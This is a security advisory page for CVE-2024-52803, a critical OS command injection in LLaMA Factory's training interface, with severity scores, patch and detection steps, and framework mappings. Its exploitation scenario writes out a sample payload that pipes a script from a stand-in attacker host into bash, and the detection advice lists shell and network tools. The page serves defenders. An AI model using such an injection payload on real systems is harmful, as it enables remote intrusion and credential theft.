CVE-2024-52803: LLaMA Factory RCE

Q: Is CVE-2024-52803 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2024-52803, increasing the risk of exploitation.

Q: How to fix CVE-2024-52803?

1. PATCH: Upgrade llamafactory (pip) to >= 0.9.1 immediately — commit b3aa80d is the fix. 2. ISOLATE: If patching is not immediately possible, place training endpoints behind a VPN or firewall; remove all public network exposure. 3. AUDIT: Review running processes and shell history on training hosts for signs of exploitation (unexpected outbound connections, new cron jobs, modified model files). 4. ROTATE: Invalidate all credentials (cloud keys, API tokens, SSH keys) accessible from training hosts. 5. DETECT: Alert on child process spawns from the LlamaFactory Python process, especially shells (/bin/sh, /bin/bash) or network tools (curl, wget, nc).

CISO Take

Any LlamaFactory deployment on version <= 0.9.0 exposed to a network is fully compromised by an unauthenticated attacker. With CVSS 9.8, no privileges needed, and a public exploit PoC, patch to 0.9.1 immediately or take the training endpoint offline. Training infrastructure is typically less hardened than production — assume it is already targeted.

What is the risk?

Extremely high. CVSS 9.8 with AV:N/AC:L/PR:N/UI:N means zero-barrier remote exploitation. EPSS at 2.4% suggests active exploitation has not been widely observed yet, but a public PoC on GitHub makes weaponization trivial. Training servers frequently run with elevated privileges and access to sensitive data (weights, datasets, cloud credentials), amplifying the blast radius well beyond the host itself.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
LLaMA Factory	pip	—	No patch
LLaMA Factory	pip	<= 0.9.0	`0.9.1`
72.3K 1 dependents Pushed 6d ago 75% patched ~167d to patch Full package profile →

How severe is it?

CVSS 3.1

9.8 / 10

EPSS

2.3%

chance of exploitation in 30 days

Higher than 81% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

○ Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Network

AC Low

PR None

UI None

S Unchanged

C High

I High

A High

What should I do?

5 steps

PATCH

Upgrade llamafactory (pip) to >= 0.9.1 immediately — commit b3aa80d is the fix.
ISOLATE

If patching is not immediately possible, place training endpoints behind a VPN or firewall; remove all public network exposure.
AUDIT

Review running processes and shell history on training hosts for signs of exploitation (unexpected outbound connections, new cron jobs, modified model files).
ROTATE

Invalidate all credentials (cloud keys, API tokens, SSH keys) accessible from training hosts.
DETECT

Alert on child process spawns from the LlamaFactory Python process, especially shells (/bin/sh, /bin/bash) or network tools (curl, wget, nc).

What does CISA's SSVC say?

Decision Track*

Exploitation poc

Automatable Yes

Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code Execution Supply Chain Framework Training Data AML.T0010.001 - AI Software AML.T0025 - Exfiltration via Cyber Means AML.T0035 - AI Artifact Collection AML.T0049 - Exploit Public-Facing Application AML.T0050 - Command and Scripting Interpreter AML.T0072 - Reverse Shell

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Art. 15 - Accuracy, Robustness and Cybersecurity Art. 9 - Risk Management System

ISO 42001

8.2 - AI Risk Assessment 8.4 - AI System Lifecycle — Verification and Validation

NIST AI RMF

GOVERN 6.1 - Policies and procedures for AI risk are in place MANAGE 2.4 - Residual risks and impacts are monitored and managed

OWASP LLM Top 10

LLM05 - Supply Chain Vulnerabilities

Frequently Asked Questions

What is CVE-2024-52803?

Any LlamaFactory deployment on version <= 0.9.0 exposed to a network is fully compromised by an unauthenticated attacker. With CVSS 9.8, no privileges needed, and a public exploit PoC, patch to 0.9.1 immediately or take the training endpoint offline. Training infrastructure is typically less hardened than production — assume it is already targeted.

Is CVE-2024-52803 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2024-52803, increasing the risk of exploitation.

How to fix CVE-2024-52803?

1. PATCH: Upgrade llamafactory (pip) to >= 0.9.1 immediately — commit b3aa80d is the fix. 2. ISOLATE: If patching is not immediately possible, place training endpoints behind a VPN or firewall; remove all public network exposure. 3. AUDIT: Review running processes and shell history on training hosts for signs of exploitation (unexpected outbound connections, new cron jobs, modified model files). 4. ROTATE: Invalidate all credentials (cloud keys, API tokens, SSH keys) accessible from training hosts. 5. DETECT: Alert on child process spawns from the LlamaFactory Python process, especially shells (/bin/sh, /bin/bash) or network tools (curl, wget, nc).

What systems are affected by CVE-2024-52803?

This vulnerability affects the following AI/ML architecture patterns: LLM fine-tuning pipelines, MLOps platforms, Training infrastructure, Self-hosted model development environments.

What is the CVSS score for CVE-2024-52803?

CVE-2024-52803 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 2.27%.

What is the AI security impact?

Affected AI Architectures

LLM fine-tuning pipelinesMLOps platformsTraining infrastructureSelf-hosted model development environments

MITRE ATLAS Techniques

AML.T0010.001 AI Software

AML.T0025 Exfiltration via Cyber Means

AML.T0035 AI Artifact Collection

AML.T0049 Exploit Public-Facing Application

AML.T0050 Command and Scripting Interpreter

AML.T0072 Reverse Shell

Compliance Controls Affected

EU AI Act: Art. 15, Art. 9

ISO 42001: 8.2, 8.4

NIST AI RMF: GOVERN 6.1, MANAGE 2.4

OWASP LLM Top 10: LLM05

What are the technical details?

Original Advisory

LLama Factory enables fine-tuning of large language models. A critical remote OS command injection vulnerability has been identified in the LLama Factory training process. This vulnerability arises from improper handling of user input, allowing malicious actors to execute arbitrary OS commands on the host system. The issue is caused by insecure usage of the `Popen` function with `shell=True`, coupled with unsanitized user input. Immediate remediation is required to mitigate the risk. This vulnerability is fixed in 0.9.1.

Exploitation Scenario

An attacker identifies an internet-facing LlamaFactory training interface (common in self-hosted ML platforms and Jupyter-adjacent tooling). They craft an HTTP request to the training API with a payload containing shell metacharacters (e.g., `; curl attacker.com/shell.sh | bash #`) in a user-controlled parameter. Because `Popen` is called with `shell=True` and no sanitization, the OS shell evaluates the injected command directly. The attacker establishes a reverse shell, harvests cloud credentials from environment variables and config files, exfiltrates model checkpoints, and pivots to connected infrastructure — all without ever authenticating.

Weaknesses (CWE)

CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') Primary CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') Primary CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Primary CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

[Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
[Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.